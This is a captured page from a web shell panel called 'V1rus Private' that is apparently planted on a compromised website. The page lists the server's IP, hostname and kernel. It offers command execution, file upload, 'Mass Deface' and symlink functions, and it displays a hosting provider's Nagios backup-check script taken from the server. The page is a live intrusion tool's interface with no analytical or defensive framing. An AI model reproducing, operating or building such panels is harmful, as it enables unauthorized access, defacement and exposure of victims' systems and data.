V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_enhance_backup
#!/bin/bash # check_enhance_backup # Author: Radoslav Stoimenov <radoslav.stoimenov@worldhost.group> # Version 0.1 # Perform the check backup_servers_count=$(/usr/bin/sudo -u postgres /usr/bin/psql -d orchd -t -c "SELECT COUNT(*) FROM servers WHERE backup = 1;" | tr -d '[:space:]') if [[ $backup_servers_count != "0" ]]; then echo "[OK] - Backup server/s for cluster configured: $backup_servers_count" exit 0 else echo "[CRITICAL] - Backup server/s not configured." exit 2 fi
Coded With 💗 by
HanzOFC